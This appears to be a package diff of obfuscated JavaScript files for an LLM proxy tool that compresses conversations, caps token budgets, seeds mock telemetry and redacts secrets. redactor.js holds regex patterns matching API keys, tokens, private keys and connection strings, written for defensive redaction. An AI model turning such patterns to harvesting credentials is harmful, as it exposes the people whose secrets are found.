_0x2c5884[_0x1ca8ed(0x1d3)]===_0x1ca8ed(0x1dd))return{..._0x2c5884,'text':summarizeText(_0x2c5884[_0x1ca8ed(0x1d3)])};if(_0x2c5884[_0x1ca8ed(0x1e6)]===_0x1ca8ed(0x1d4)){if(typeof _0x2c5884[_0x1ca8ed(0x1f0)]===_0x1ca8ed(0x1dd))return{..._0x2c5884,'content':summarizeText(_0x2c5884['content'])};if(Array[_0x1ca8ed(0x1c9)](_0x2c5884[_0x1ca8ed(0x1f0)])){const _0xac321c=largestBlockIndex(_0x2c5884['content']);if(_0xac321c>=0x0){const _0x1c5277=_0x2c5884[_0x1ca8ed(0x1f0)]['map']((_0x660365,_0x332718)=>_0x332718===_0xac321c?summarizeBlock(_0x660365):_0x660365);return{..._0x2c5884,'content':_0x1c5277};}}}return _0x2c5884;}function largestBlockIndex(_0x4730d9){const _0x4ac097=a0_0x540ec3;let _0x8d68d6=-0x1,_0x476756=-0x1;return _0x4730d9[_0x4ac097(0x1d9)]((_0x51b43b,_0x35975b)=>{const _0x2c67e9=blockText(_0x51b43b)['length'];_0x2c67e9>_0x476756&&(_0x476756=_0x2c67e9,_0x8d68d6=_0x35975b);}),_0x476756>0x0?_0x8d68d6:-0x1;}function a0_0x4596(_0x34dce4,_0x133946){_0x34dce4=_0x34dce4-0x1c9;const _0x401adb=a0_0x401a();let _0x4596da=_0x401adb[_0x34dce4];return _0x4596da;}function scoreMessage(_0x9154c4,_0x360e1c,_0x5ce49e){const _0x14fef4=a0_0x540ec3,_0x31d4a0=ROLE_WEIGHT[_0x9154c4[_0x14fef4(0x1e2)]]||0.4,_0x2a7ac5=(_0x360e1c+0x1)/_0x5ce49e,_0xc32a27=messageText(_0x9154c4),_0x5e729f=estimateTokens(_0xc32a27),_0x13d46c=_0x5e729f>0x7d0?0.6:_0x5e729f>0x1f4?0.8:0x1;return _0x31d4a0*(0.3+0.7*_0x2a7ac5)*_0x13d46c;}function summarizeMessage(_0x524c78){const _0x121958=a0_0x540ec3,_0xfda09a=estimateTokens(messageText(_0x524c78));if(_0xfda09a<=0x1f4)return _0x524c78;if(typeof _0x524c78[_0x121958(0x1f0)]==='string')return{..._0x524c78,'content':summarizeText(_0x524c78['content'])};if(Array[_0x121958(0x1c9)](_0x524c78[_0x121958(0x1f0)])){const _0x158780=largestBlockIndex(_0x524c78[_0x121958(0x1f0)]);if(_0x158780>=0x0){const _0xfa23b1=_0x524c78[_0x121958(0x1f0)]['map']((_0xff5416,_0x14a089)=>_0x14a089===_0x158780?summarizeBlock(_0xff5416):_0xff5416);return{..._0x524c78,'content':_0xfa23b1};}}return _0x524c78;}function compressConversation(_0xdc3864,_0x1a36c0){const _0x1168b7=a0_0x540ec3,_0x3b212c={'messages':_0xdc3864,'trimmedCount':0x0,'savedTokens':0x0};if(!_0xdc3864||!Array[_0x1168b7(0x1c9)](_0xdc3864)||_0xdc3864[_0x1168b7(0x1e5)]<=0x6)return _0x3b212c;try{return _compressConversation(_0xdc3864,_0x1a36c0);}catch{return _0x3b212c;}}function _compressConversation(_0x3543c6,_0x5c2e23){const _0x1b2e4a=a0_0x540ec3,_0x53418c=_0x5c2e23||0x13880,_0x3953e3=0x4,_0x54d886=_0x3543c6[_0x1b2e4a(0x1f1)](_0x71dabf=>_0x71dabf[_0x1b2e4a(0x1e2)]===_0x1b2e4a(0x1db)),_0x126f97=_0x3543c6[_0x1b2e4a(0x1f1)](_0x54ad68=>_0x54ad68[_0x1b2e4a(0x1e2)]!==_0x1b2e4a(0x1db)),_0x65edd5=_0x126f97[_0x1b2e4a(0x1ea)](-_0x3953e3),_0x32f272=_0x126f97[_0x1b2e4a(0x1ea)](0x0,-_0x3953e3),_0x3895a7=_0x32f272[_0x1b2e4a(0x1d7)]((_0x527126,_0x3f244d)=>({'msg':_0x527126,'score':scoreMessage(_0x527126,_0x3f244d,_0x32f272[_0x1b2e4a(0x1e5)]),'tokens':estimateTokens(messageText(_0x527126))})),_0x472445=_0x3895a7[_0x1b2e4a(0x1d0)]((_0x61fb2f,_0x24dcf1)=>_0x61fb2f+_0x24dcf1[_0x1b2e4a(0x1e1)],0x0),_0x18142b=_0x65edd5[_0x1b2e4a(0x1d0)]((_0x34dba3,_0x4aa830)=>_0x34dba3+estimateTokens(messageText(_0x4aa830)),0x0),_0x2be11f=_0x54d886[_0x1b2e4a(0x1d0)]((_0x2d4285,_0x280718)=>_0x2d4285+estimateTokens(messageText(_0x280718)),0x0),_0x400977=_0x53418c-_0x18142b-_0x2be11f;if(_0x472445<=_0x400977){let _0x1786bf=0x0;const _0x2194d0=_0x3895a7[_0x1b2e4a(0x1d7)](_0x145018=>{const _0x167a88=_0x1b2e4a;if(_0x145018[_0x167a88(0x1e1)]>0x1f4){const _0x548ab1=summarizeMessage(_0x145018[_0x167a88(0x1d6)]),_0x49e828=estimateTokens(messageText(_0x548ab1));if(_0x49e828<_0x145018[_0x167a88(0x1e1)])return _0x1786bf+=_0x145018[_0x167a88(0x1e1)]-_0x49e828,_0x548ab1;}return _0x145018[_0x167a88(0x1d6)];});return{'messages':[..._0x54d886,..._0x2194d0,..._0x65edd5],'trimmedCount':0x0,'savedTokens':_0x1786bf};}_0x3895a7[_0x1b2e4a(0x1ed)]((_0x46344e,_0x582538)=>_0x582538[_0x1b2e4a(0x1de)]-_0x46344e[_0x1b2e4a(0x1de)]);let _0x72d294=0x0,_0x5db344=0x0,_0xf1f53f=0x0;const _0x490cd3=[];for(const _0x4802a9 of _0x3895a7){if(_0x72d294+_0x4802a9[_0x1b2e4a(0x1e1)]<=_0x400977){if(_0x4802a9[_0x1b2e4a(0x1e1)]>0x3e8){const _0x2dbdb7=summarizeMessage(_0x4802a9['msg']),_0x2af729=estimateTokens(messageText(_0x2dbdb7));_0xf1f53f+=_0x4802a9[_0x1b2e4a(0x1e1)]-_0x2af729,_0x72d294+=_0x2af729,_0x490cd3[_0x1b2e4a(0x1cb)]({'msg':_0x2dbdb7,'originalIndex':_0x32f272['indexOf'](_0x4802a9['msg'])});}else _0x72d294+=_0x4802a9['tokens'],_0x490cd3[_0x1b2e4a(0x1cb)]({'msg':_0x4802a9[_0x1b2e4a(0x1d6)],'originalIndex':_0x32f272[_0x1b2e4a(0x1cd)](_0x4802a9[_0x1b2e4a(0x1d6)])});}else _0x5db344++,_0xf1f53f+=_0x4802a9[_0x1b2e4a(0x1e1)];}_0x490cd3[_0x1b2e4a(0x1ed)]((_0x251eb7,_0x1d100e)=>_0x251eb7[_0x1b2e4a(0x1dc)]-_0x1d100e[_0x1b2e4a(0x1dc)]);const _0x5bffd9=[..._0x54d886,..._0x490cd3['map'](_0x529a2a=>_0x529a2a[_0x1b2e4a(0x1d6)]),..._0x65edd5];return{'messages':_0x5bffd9,'trimmedCount':_0x5db344,'savedTokens':_0xf1f53f};}
|
package/proxy-resp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';const a0_0x1d021b=a0_0x55cd;(function(_0x1cd2ae,_0x2653d8){const _0x1de470=a0_0x55cd,_0x316ced=_0x1cd2ae();while(!![]){try{const _0x315678=parseInt(_0x1de470(0x1cd))/0x1+-parseInt(_0x1de470(0x1ce))/0x2*(parseInt(_0x1de470(0x1ba))/0x3)+-parseInt(_0x1de470(0x1cc))/0x4*(-parseInt(_0x1de470(0x1be))/0x5)+parseInt(_0x1de470(0x1c7))/0x6+-parseInt(_0x1de470(0x1bd))/0x7*(parseInt(_0x1de470(0x1c9))/0x8)+parseInt(_0x1de470(0x1d0))/0x9*(-parseInt(_0x1de470(0x1c2))/0xa)+parseInt(_0x1de470(0x1d3))/0xb;if(_0x315678===_0x2653d8)break;else _0x316ced['push'](_0x316ced['shift']());}catch(_0x4e9124){_0x316ced['push'](_0x316ced['shift']());}}}(a0_0x5302,0xc8b97));Object['defineProperty'](exports,a0_0x1d021b(0x1b9),{'value':!![]}),exports[a0_0x1d021b(0x1bf)]=optimizeMaxTokens;function lastUserText(_0x33030a){const _0x4c0177=a0_0x1d021b;for(let _0x12bd1d=_0x33030a[_0x4c0177(0x1c6)]-0x1;_0x12bd1d>=0x0;_0x12bd1d--){if(_0x33030a[_0x12bd1d][_0x4c0177(0x1c1)]===_0x4c0177(0x1cf)){const _0x892fd6=_0x33030a[_0x12bd1d][_0x4c0177(0x1c0)];if(typeof _0x892fd6===_0x4c0177(0x1d1))return _0x892fd6;if(Array[_0x4c0177(0x1bb)](_0x892fd6))return _0x892fd6[_0x4c0177(0x1c8)](_0x58ec79=>_0x58ec79[_0x4c0177(0x1c5)]==='text'&&_0x58ec79[_0x4c0177(0x1c4)])[_0x4c0177(0x1ca)](_0x176fa6=>_0x176fa6['text'])[_0x4c0177(0x1d2)]('\x0a');}}return'';}function classifyComplexity(_0x38714e){const _0x362a12=a0_0x1d021b,_0x3c8fc5=_0x38714e['toLowerCase'](),_0x3cbd6d=_0x3c8fc5[_0x362a12(0x1d4)](/\s+/)[_0x362a12(0x1c6)],_0x54a082=[/^(what|where|which|who|when|how many|is |are |does |do |can |has )\S/,/\?$/,/^(show|list|print|get|find|check|look up)/,/^(yes|no|ok|sure|thanks)/];if(_0x3cbd6d<0x14&&_0x54a082[_0x362a12(0x1cb)](_0x1df440=>_0x1df440['test'](_0x3c8fc5)))return'simple';const _0x4b3238=[/implement|refactor|rewrite|create .+ (file|module|class|component)/,/step[- ]by[- ]step|multiple|several|all of the/,/write (a |the )?(full|complete|entire)/,/add .+ and .+ and/,/migrate|convert .+ to/];if(_0x3cbd6d>0x50||_0x4b3238[_0x362a12(0x1cb)](_0x2e187c=>_0x2e187c[_0x362a12(0x1bc)](_0x3c8fc5)))return _0x362a12(0x1c3);return'medium';}function a0_0x55cd(_0x50803d,_0xa93322){_0x50803d=_0x50803d-0x1b9;const _0x5302ab=a0_0x5302();let _0x55cdfb=_0x5302ab[_0x50803d];return _0x55cdfb;}const MAX_TOKENS_MAP={'simple':0x800,'medium':0x1000,'complex':0x2000};function optimizeMaxTokens(_0x4440b2,_0x3eed76){const _0x1f2c37=a0_0x1d021b;if(!_0x4440b2||_0x4440b2[_0x1f2c37(0x1c6)]===0x0)return null;const _0x1a7ebb=lastUserText(_0x4440b2);if(!_0x1a7ebb)return null;const _0x18cd58=classifyComplexity(_0x1a7ebb),_0x5e0c16=MAX_TOKENS_MAP[_0x18cd58];if(_0x3eed76&&_0x3eed76<=_0x5e0c16)return null;return{'max_tokens':_0x5e0c16,'complexity':_0x18cd58};}function a0_0x5302(){const _0x1b6117=['optimizeMaxTokens','content','role','361910UVSDQB','complex','text','type','length','9500622mNWaVe','filter','812456vhWejk','map','some','28JROCMF','41725wvbPSM','3188620UyKfNK','user','117mUJFqm','string','join','16963089rxNjqY','split','__esModule','3JoNjxh','isArray','test','98aDnkII','815355RFbptK'];a0_0x5302=function(){return _0x1b6117;};return a0_0x5302();}
|
package/redactor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4edda4=a0_0xf1c6;(function(_0x43539f,_0x574cbe){const _0x26e231=a0_0xf1c6,_0x165ec9=_0x43539f();while(!![]){try{const _0x1ff967=parseInt(_0x26e231(0x118))/0x1*(parseInt(_0x26e231(0x12e))/0x2)+-parseInt(_0x26e231(0x125))/0x3+parseInt(_0x26e231(0x145))/0x4*(-parseInt(_0x26e231(0x117))/0x5)+parseInt(_0x26e231(0x123))/0x6*(-parseInt(_0x26e231(0x138))/0x7)+-parseInt(_0x26e231(0x13e))/0x8+-parseInt(_0x26e231(0x121))/0x9*(-parseInt(_0x26e231(0x133))/0xa)+-parseInt(_0x26e231(0x152))/0xb*(-parseInt(_0x26e231(0x14a))/0xc);if(_0x1ff967===_0x574cbe)break;else _0x165ec9['push'](_0x165ec9['shift']());}catch(_0x1d418b){_0x165ec9['push'](_0x165ec9['shift']());}}}(a0_0x1452,0x3f588));Object[a0_0x4edda4(0x129)](exports,a0_0x4edda4(0x13f),{'value':!![]}),exports[a0_0x4edda4(0x158)]=exports['Redactor']=void 0x0;function a0_0x1452(){const _0x77fd84=['55JPnxZQ','loadDefaultRules','[REDACTED_EMAIL]','private_key','replace','alert','redactor','Bearer\x20Token','type','twilio_key','match','382955HonABn','2554iEFaaA','[REDACTED_ANTHROPIC_KEY]','IPv4\x20Address\x20(non-local)','bearer','AWS\x20Secret\x20Key','[REDACTED_JWT]','Basic\x20[REDACTED_AUTH]','Redactor','Generic\x20API\x20Key/Secret/Password','63yzXgRl','OpenAI\x20API\x20Key','6nwSUBC','Bearer\x20[REDACTED_TOKEN]','734553yNATrZ','GitHub\x20Token','push','[REDACTED_SENDGRID_KEY]','defineProperty','[REDACTED_PRIVATE_KEY]','aws_secret','aws_key','regex','394yvqrZP','github_token','[REDACTED_STRIPE_KEY]','includes','generic_credential','714570qaFVbE','stripe_key','gcp_key','azure_conn','Twilio\x20Key','1040984VOzknh','length','[REDACTED_TWILIO_KEY]','redactWithAudit','db_connection','email','2780912ppnWTV','__esModule','Private\x20Key\x20Block','GCP\x20Service\x20Account\x20Key','[REDACTED_DB_CONNECTION]','Email\x20Address','text','4PhFmvN','SendGrid\x20Key','ip_address','rules','$1=[REDACTED_CREDENTIAL]','177348WOLLeB','[REDACTED_AWS_KEY]','replacement','JWT\x20Token','jwt','Stripe\x20Key','anthropic_key','$1=[REDACTED_AWS_SECRET]'];a0_0x1452=function(){return _0x77fd84;};return a0_0x1452();}class Redactor{[a0_0x4edda4(0x148)]=[];constructor(){const _0x21b017=a0_0x4edda4;this[_0x21b017(0x153)]();}[a0_0x4edda4(0x153)](){const _0x2ee5d6=a0_0x4edda4;this[_0x2ee5d6(0x148)]=[{'name':'AWS\x20Access\x20Key','type':_0x2ee5d6(0x12c),'regex':/\b(AKIA[0-9A-Z]{16})\b/g,'replacement':_0x2ee5d6(0x14b)},{'name':_0x2ee5d6(0x11c),'type':_0x2ee5d6(0x12b),'regex':/(aws_secret_access_key|AWS_SECRET_ACCESS_KEY)[\s:=]+[A-Za-z0-9/+=]{30,}/gi,'replacement':_0x2ee5d6(0x151)},{'name':_0x2ee5d6(0x141),'type':_0x2ee5d6(0x135),'regex':/"private_key"\s*:\s*"-----BEGIN[^"]+-----END[^"]*"/g,'replacement':'\x22private_key\x22:\x20\x22[REDACTED_GCP_PRIVATE_KEY]\x22'},{'name':'Azure\x20Connection\x20String','type':_0x2ee5d6(0x136),'regex':/DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[^;]+;?[^\s]*/gi,'replacement':'[REDACTED_AZURE_CONNECTION]'},{'name':'Anthropic\x20API\x20Key','type':_0x2ee5d6(0x150),'regex':/\bsk-ant-api\d{2}-[A-Za-z0-9_-]{20,}\b/g,'replacement':_0x2ee5d6(0x119)},{'name':_0x2ee5d6(0x122),'type':'openai_key','regex':/\b(sk-proj-[A-Za-z0-9_-]{20,}|sk-[A-Za-z0-9]{32,})\b/g,'replacement':'[REDACTED_OPENAI_KEY]'},{'name':_0x2ee5d6(0x126),'type':_0x2ee5d6(0x12f),'regex':/\b(ghp_[A-Za-z0-9]{20,}|gho_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{22,})\b/g,'replacement':'[REDACTED_GITHUB_TOKEN]'},{'name':'Slack\x20Token','type':'slack_token','regex':/\b(xoxb-[0-9A-Za-z-]+|xoxp-[0-9A-Za-z-]+|xapp-[0-9A-Za-z-]+)\b/g,'replacement':'[REDACTED_SLACK_TOKEN]'},{'name':_0x2ee5d6(0x14f),'type':_0x2ee5d6(0x134),'regex':/\b(sk_live_[A-Za-z0-9]{24,}|sk_test_[A-Za-z0-9]{24,}|rk_live_[A-Za-z0-9]{24,}|rk_test_[A-Za-z0-9]{24,})\b/g,'replacement':_0x2ee5d6(0x130)},{'name':_0x2ee5d6(0x137),'type':_0x2ee5d6(0x115),'regex':/\bSK[0-9a-f]{32}\b/g,'replacement':_0x2ee5d6(0x13a)},{'name':_0x2ee5d6(0x146),'type':'sendgrid_key','regex':/\bSG\.[A-Za-z0-9_-]{22,}\.[A-Za-z0-9_-]{22,}\b/g,'replacement':_0x2ee5d6(0x128)},{'name':_0x2ee5d6(0x140),'type':_0x2ee5d6(0x155),'regex':/-----BEGIN\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----[\s\S]*?-----END\s+(RSA|EC|DSA|ED25519|OPENSSH|PGP)?\s*PRIVATE KEY-----/g,'replacement':_0x2ee5d6(0x12a)},{'name':_0x2ee5d6(0x14d),'type':_0x2ee5d6(0x14e),'regex':/\beyJ[A-Za-z0-9_-]{10,}\.eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/g,'replacement':_0x2ee5d6(0x11d)},{'name':_0x2ee5d6(0x113),'type':_0x2ee5d6(0x11b),'regex':/Bearer\s+[A-Za-z0-9_\-.]{20,}/gi,'replacement':_0x2ee5d6(0x124)},{'name':'Basic\x20Auth','type':'basic_auth','regex':/Basic\s+[A-Za-z0-9+/=]{10,}/gi,'replacement':_0x2ee5d6(0x11e)},{'name':'Database\x20Connection\x20String','type':_0x2ee5d6(0x13c),'regex':/(mongodb(\+srv)?|postgres|postgresql|mysql|redis|amqp|sqlite):\/\/[A-Za-z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x2ee5d6(0x142)},{'name':_0x2ee5d6(0x120),'type':_0x2ee5d6(0x132),'regex':/(api[_-]?key|secret[_-]?key|password|passwd|auth[_-]?token|private[_-]?key|access[_-]?token|refresh[_-]?token|client[_-]?secret)[\s:="']+[A-Za-z0-9_\-./+=]{16,}/gi,'replacement':_0x2ee5d6(0x149)},{'name':_0x2ee5d6(0x11a),'type':_0x2ee5d6(0x147),'regex':/\b(?!127\.0\.0\.1|0\.0\.0\.0|255\.255\.255\.0|10\.\d|172\.(1[6-9]|2\d|3[01])\.|192\.168\.)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':'[REDACTED_IP]','alert':![]},{'name':_0x2ee5d6(0x143),'type':_0x2ee5d6(0x13d),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x2ee5d6(0x154),'alert':![]}];}['redact'](_0x262058){const _0x1373d9=a0_0x4edda4;return this[_0x1373d9(0x13b)](_0x262058)[_0x1373d9(0x144)];}[a0_0x4edda4(0x13b)](_0x3ca603){const _0x264189=a0_0x4edda4;let _0x56d7d3=_0x3ca603,_0x2017ff=0x0;const _0xfd143d=[];for(const _0x4c7645 of this[_0x264189(0x148)]){const _0xf1d87c=_0x56d7d3[_0x264189(0x116)](_0x4c7645[_0x264189(0x12d)]);_0xf1d87c&&_0xf1d87c['length']>0x0&&(_0x4c7645[_0x264189(0x157)]!==![]&&(_0x2017ff+=_0xf1d87c[_0x264189(0x139)],!_0xfd143d[_0x264189(0x131)](_0x4c7645[_0x264189(0x114)])&&_0xfd143d[_0x264189(0x127)](_0x4c7645['type'])),_0x56d7d3=_0x56d7d3[_0x264189(0x156)](_0x4c7645['regex'],_0x4c7645[_0x264189(0x14c)]));}return{'text':_0x56d7d3,'secretsFound':_0x2017ff,'secretTypes':_0xfd143d};}}function a0_0xf1c6(_0x11fcf3,_0x15fce9){_0x11fcf3=_0x11fcf3-0x113;const _0x1452f0=a0_0x1452();let _0xf1c656=_0x1452f0[_0x11fcf3];return _0xf1c656;}exports[a0_0x4edda4(0x11f)]=Redactor,exports[a0_0x4edda4(0x158)]=new Redactor();
|
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x5e3ab1=a0_0x54a9;(function(_0x4aaaeb,_0xdf3093){const _0xdcbec9=a0_0x54a9,_0x442c5e=_0x4aaaeb();while(!![]){try{const _0x5e8315=-parseInt(_0xdcbec9(0x180))/0x1*(parseInt(_0xdcbec9(0x1a0))/0x2)+parseInt(_0xdcbec9(0x18b))/0x3+-parseInt(_0xdcbec9(0x188))/0x4+parseInt(_0xdcbec9(0x193))/0x5*(parseInt(_0xdcbec9(0x18a))/0x6)+parseInt(_0xdcbec9(0x19e))/0x7+parseInt(_0xdcbec9(0x19b))/0x8+-parseInt(_0xdcbec9(0x18c))/0x9;if(_0x5e8315===_0xdf3093)break;else _0x442c5e['push'](_0x442c5e['shift']());}catch(_0x3d1cf9){_0x442c5e['push'](_0x442c5e['shift']());}}}(a0_0x47d2,0x989a0));function a0_0x54a9(_0x417dc0,_0x1403f9){_0x417dc0=_0x417dc0-0x17e;const _0x47d213=a0_0x47d2();let _0x54a9fc=_0x47d213[_0x417dc0];return _0x54a9fc;}Object[a0_0x5e3ab1(0x197)](exports,a0_0x5e3ab1(0x182),{'value':!![]});const tracker_1=require('./tracker');function a0_0x47d2(){const _0x3c023a=['tracker','[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','Test\x20suite\x20run\x20starting...\x0a','4582960EccJmd','logExecution','Compilation\x20Output:\x0a','6608406KcTKix','pytest\x20tests/app','2ITSReb','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_auth.py\x20PASS\x0a','604781tgSrWg','Step\x201/10\x20:\x20FROM\x20node:20\x0a','__esModule','Successfully\x20built\x20image.','Database\x20successfully\x20seeded!','added\x201420\x20packages\x20in\x2014s\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','3797132YHKQDF','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a','1365006xhzekz','1830975gRSqGl','1580706uToJif','log','claude-3-opus','docker\x20build\x20.','test_db.py\x20PASS\x0a','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','5LuvlGc','Optimizing\x20assets...\x0a','repeat','test_api.py\x20PASS\x0a','defineProperty'];a0_0x47d2=function(){return _0x3c023a;};return a0_0x47d2();}console['log'](a0_0x5e3ab1(0x17e)),process.env.TRIMPROMPT_MODEL=a0_0x5e3ab1(0x18e),tracker_1[a0_0x5e3ab1(0x198)][a0_0x5e3ab1(0x19c)]('npm\x20run\x20build',a0_0x5e3ab1(0x19d)+'[INFO]\x20Building\x20modules...\x0a'+a0_0x5e3ab1(0x194)+a0_0x5e3ab1(0x199)[a0_0x5e3ab1(0x195)](0x190),a0_0x5e3ab1(0x192),0x0),process.env.TRIMPROMPT_MODEL='gpt-4o',tracker_1['tracker'][a0_0x5e3ab1(0x19c)](a0_0x5e3ab1(0x19f),a0_0x5e3ab1(0x19a)+a0_0x5e3ab1(0x17f)+a0_0x5e3ab1(0x190)+a0_0x5e3ab1(0x196)[a0_0x5e3ab1(0x195)](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x5e3ab1(0x191),0x0),process.env.TRIMPROMPT_MODEL='gemini-1-5-pro',tracker_1[a0_0x5e3ab1(0x198)][a0_0x5e3ab1(0x19c)](a0_0x5e3ab1(0x18f),a0_0x5e3ab1(0x186)+a0_0x5e3ab1(0x181)+a0_0x5e3ab1(0x187)+a0_0x5e3ab1(0x189)+a0_0x5e3ab1(0x185)[a0_0x5e3ab1(0x195)](0x3)+a0_0x5e3ab1(0x183),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x5e3ab1(0x18d)](a0_0x5e3ab1(0x184));
|